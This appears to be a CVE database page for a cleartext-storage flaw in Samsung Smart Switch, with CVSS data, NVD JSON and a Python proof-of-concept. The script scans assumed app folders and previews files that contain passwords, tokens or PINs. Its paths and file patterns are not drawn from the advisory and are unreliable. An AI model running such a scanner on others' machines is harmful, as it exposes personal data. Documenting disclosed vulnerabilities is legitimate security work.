Security Vulnerability Report
中文
CVE-2025-21061 CVSS 7.1 HIGH

CVE-2025-21061

Published: 2025-10-10 07:15:42
Last Modified: 2025-10-28 15:40:59

Description

Cleartext storage of sensitive information in Smart Switch prior to version 3.7.67.2 allows local attackers to access sensitive data. User interaction is required for triggering this vulnerability.

CVSS Details

CVSS Score
7.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:samsung:smart_switch:*:*:*:*:*:*:*:* - VULNERABLE
Samsung Smart Switch < 3.7.67.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-21061 PoC - Samsung Smart Switch Cleartext Sensitive Information Storage # This PoC demonstrates how an attacker with local access can locate and extract # sensitive information stored in cleartext by vulnerable versions of Samsung Smart Switch (< 3.7.67.2) import os import sys import glob import platform # Common Smart Switch data storage paths by operating system SMART_SWITCH_PATHS = { "Windows": [ os.path.expandvars(r"%LOCALAPPDATA%\Samsung\Smart Switch"), os.path.expandvars(r"%APPDATA%\Samsung\Smart Switch"), os.path.expandvars(r"%USERPROFILE%\Documents\Samsung\Smart Switch"), os.path.expandvars(r"%USERPROFILE%\AppData\Local\Samsung"), ], "Darwin": [ # macOS os.path.expanduser("~/Library/Application Support/Samsung/Smart Switch"), os.path.expanduser("~/Library/Logs/SmartSwitch"), os.path.expanduser("~/Documents/Samsung/Smart Switch"), ], "Linux": [ os.path.expanduser("~/.local/share/Samsung/Smart Switch"), os.path.expanduser("~/.config/Samsung/Smart Switch"), ] } # Sensitive file patterns commonly left in cleartext by vulnerable Smart Switch versions SENSITIVE_PATTERNS = [ "*.bak", # Backup files "*.db", # SQLite databases "*.sqlite", # SQLite databases "*.log", # Log files (may contain tokens) "*.tmp", # Temporary files "*credential*", # Credential-related files "*backup*", # Backup archives "*.json", # Configuration files "*.xml", # XML data exports "*.csv", # CSV exports of contacts/messages ] def find_smart_switch_paths(): """Locate potential Smart Switch storage directories on the local system.""" system = platform.system() paths = SMART_SWITCH_PATHS.get(system, []) existing_paths = [p for p in paths if os.path.exists(p)] return existing_paths def scan_cleartext_files(base_paths, patterns): """Scan known directories for cleartext sensitive files.""" found_files = [] for base_path in base_paths: for pattern in patterns: search_pattern = os.path.join(base_path, "**", pattern) found_files.extend(glob.glob(search_pattern, recursive=True)) return found_files def extract_sensitive_content(file_path): """Extract and display sensitive content from a cleartext file.""" try: with open(file_path, "r", encoding="utf-8", errors="ignore") as f: content = f.read() # Simple heuristic to flag potentially sensitive data sensitive_keywords = ["password", "token", "key", "credential", "ssn", "email", "phone", "address", "pin"] flagged = any(kw.lower() in content.lower() for kw in sensitive_keywords) return content, flagged except Exception as e: return f"[Error reading file: {e}]", False def main(): print("[*] CVE-2025-21061 - Smart Switch Cleartext Storage PoC") print("[*] Searching for Samsung Smart Switch data directories...\n") ss_paths = find_smart_switch_paths() if not ss_paths: print("[-] No Smart Switch directories found on this system.") sys.exit(0) print(f"[+] Found {len(ss_paths)} potential Smart Switch path(s):") for p in ss_paths: print(f" - {p}") print("\n[*] Scanning for cleartext sensitive files...") cleartext_files = scan_cleartext_files(ss_paths, SENSITIVE_PATTERNS) if not cleartext_files: print("[-] No cleartext sensitive files detected.") sys.exit(0) print(f"[!] Found {len(cleartext_files)} potentially sensitive file(s):\n") for f in cleartext_files: content, flagged = extract_sensitive_content(f) marker = "[SENSITIVE]" if flagged else "[INFO]" print(f"{marker} {f}") if flagged: preview = content[:200].replace("\n", " ") print(f" Preview: {preview}...\n") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-21061", "sourceIdentifier": "[email protected]", "published": "2025-10-10T07:15:42.147", "lastModified": "2025-10-28T15:40:58.597", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Cleartext storage of sensitive information in Smart Switch prior to version 3.7.67.2 allows local attackers to access sensitive data. User interaction is required for triggering this vulnerability."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:H", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-312"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:samsung:smart_switch:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.7.67.2", "matchCriteriaId": "5D27227C-CA20-479D-9B1F-F0591FEFA6AC"}]}]}], "references": [{"url": "https://security.samsungmobile.com/serviceWeb.smsb?year=2025&month=10", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}